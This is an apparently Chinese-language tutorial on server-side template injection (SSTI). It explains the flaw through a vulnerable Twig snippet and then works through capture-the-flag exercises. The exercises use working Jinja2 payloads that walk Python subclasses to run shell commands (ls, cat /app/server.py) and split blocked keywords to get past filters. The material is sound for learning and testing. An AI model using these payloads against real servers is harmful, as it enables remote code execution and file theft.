首頁 > 軟體

安全漏洞之SSTI模板注入深入解析

2022-10-12 14:01:24

引文

上篇文章帶來了反序列化漏洞的知識,還沒講過的基礎漏洞型別已經很少了,今天給大家帶來的知識點是SSTI模板注入,提到注入大家首先想到的肯定是SQL隱碼攻擊,而SSTI模板注入和SQL隱碼攻擊其實也存在著類似的點,接下來就詳細給大家講解一下。

簡介

伺服器端接收了使用者的輸入,將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了使用者插入的惡意內容,因而可能導致了敏感資訊洩露、程式碼執行、GetShell 等問題。

原理

我們先引入一下伺服器模板,頁面上的資料需要不斷更新,即為渲染。我們簡單舉一個例子:使用 Twig 模版引擎渲染頁面,其中模版含有 {{name}}變數,其模版變數值來自於 GET 請求引數 $_GET["name"] ,如果渲染的模版內容受到使用者的控制,程式碼如下:

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");  // 將使用者輸入作為模版內容的一部分
echo $output;

可以看到上面就是個漏洞點,伺服器端相信了使用者的輸出。

SSTI型別

根據模板型別的不同,包裹變數的識別符號也大有不同,我們常見的模板引擎有,我們可以根據返回值的型別來判斷不同的模板引擎。可以根據下圖來進行判斷:

基礎語法

class:檢視變數所屬的類,根據前面的變數形式可以得到其所屬的類。

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>

bases:檢視類所屬的基礎類別

>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)

可以看到上面例子,基礎類別都歸屬於object。

subclasses:檢視當前的子類,格式:

變數.__class__.__bases__[0].__subclasses__()  

現在我們拿到了所有繼承Object類的子類的參照,在呼叫這些子類的方法,去進行我們的模板注入,講一下利用的前置知識。

init

__init__用於初始化類,意思就是拿到一個類之後要使用__init__之後我們才可以呼叫裡面的函數和屬性 。

global

返回當前位置的全部模組,方法和全域性變數,配合著__init__使用 。

builtins

內建名稱空間,內建名稱空間有許多名字到物件之間對映,而這些名字其實就是內建函數的名稱,物件就是這些內建函數本身。即裡面有很多常用的函數。

import

動態載入類和函數,也就是匯入模組,用於匯入os模組__import__('os').popen('ls').read()]。

例題

學習到現在,我們可以嘗試做一個題目來鞏固一下:

先查詢有沒有可用的子類,遍歷發現<class 'warnings.catch_warnings'> 利用這個子類可以檢視目錄:

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

讀取server.py檔案

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

得到flag。

過濾器

當然真正的題目不可能會這麼簡單,裡面會包含著過濾函數,過濾特殊字元等操作,接下來給大家講講過濾器的知識點。

attr

用於獲取變數,可用於. [] 都被過濾的情況

join

將一個序列拼接成一個字串,join ('|')將令每一個元素被'|'隔開

lower

將字串轉換為小寫

string

將變數轉換為字串,可以用符號構造出我們可利用的字串、符號等。

reverse

字元反轉

format

格式化字串

以上就簡單舉了點過濾器的例子與用法,當然上面列舉的只是一小部分,除了這些還有非常多的過濾器,一一列舉是列舉不完的

進階

接下來講一個有點難度的題帶大家加深理解,進去題目發現是一個如下的解碼加密網站。

用{{7*7}}加密解密得到49確定存在ssti模板注入,回顯是base64編碼的。簡單fuzz後發現過濾了flag、import、os、eval等關鍵詞。我們構造拆分語句:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

放到解碼區,去解碼得到檔案目錄:

進一步拼接去檢視flag就OK了,構造最終payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

結語

今天比較詳細的講了SSTI模板注入漏洞的原理以及應用方法,可能剛開始學不太好理解,可以根據之前SQL隱碼攻擊的思路去理解一下。有興趣的小夥伴可以自己去搭建靶機來進行測試,以上就是SSTI模板注入深入解析的詳細內容,更多關於SSTI模板注入的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com